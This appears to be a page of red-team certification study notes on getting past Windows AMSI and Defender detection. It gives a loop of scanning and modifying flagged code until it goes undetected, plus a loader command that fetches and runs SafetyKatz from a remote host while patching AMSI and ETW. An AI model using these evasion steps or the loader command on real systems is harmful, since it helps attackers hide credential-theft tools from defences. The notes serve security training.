Skip to content

Latest commit

 

History

History
77 lines (56 loc) · 2.39 KB

amsi-bypass.md

File metadata and controls

77 lines (56 loc) · 2.39 KB
Raw
description cover coverY layout
Explore an insightful article about CRTP AMSI Bypass - a key technique in cybersecurity. This piece delves into its design, functionality, and crucial role in securing network infrastructures.
../.gitbook/assets/CRTP (1).png
0
cover title description tableOfContents outline pagination
visible size
true
hero
visible
true
visible
true
visible
true
visible
true
visible
true

🔥 AMSI Bypass

Bypass Defences On-Memory

Bypass Defences On-Disk

AMSITrigger

{% code overflow="wrap" %}

AmsiTrigger_x64.exe -i C: AD Tools Invoke PowerShellTcp_Detected.ps1 DefenderCheck.exe PowerUp.ps1

{% endcode %}

DefenderCheck

Invoke-Obfuscation

Steps to avoid signature-based detection are pretty simple:

1) Scan using AMSITrigger

2) Modify the detected code snippet

3) Rescan using AMSITrigger

4) Repeat steps 2 & 3 till we get a result as “AMSI_RESULT_NOT_DETECTED” or “BLANK"

Payload Delivery

{% embed url="https://github.com/Flangvik/NetLoader" %}

It can be used to load binary from file path or URL and patch AMSI & ETW while executing.

C:\Users\Public\Loader.exe -path http://192.168.100.X/SafetyKatz.exe

Summary of Bypassing Defence Mechanisms

To evade on-memory and on-disk defences, the process involves iteratively modifying and scanning scripts or executables to evade signature-based detection tools like AMSITrigger. The goal is to continue the cycle of modification and rescanning until tools like AMSITrigger no longer detect the code, indicating a successful bypass.

  • On-Memory Bypass Routine:

    1. Execute AMSITrigger to identify detectable code.
    2. Alter the code flagged by AMSITrigger.
    3. Rescan with AMSITrigger post-modification.
    4. Repeat until "AMSI_RESULT_NOT_DETECTED" appears.

  • Delivery of Payload:

    A loader can be utilized for delivering a payload, which involves fetching and executing a binary from either a local path or a remote URL. Consequently, the binary can patch both AMSI and ETW, helping the payload to avoid detection during execution. A typical command for this operation follows the format:

    Loader.exe -path <binary_source>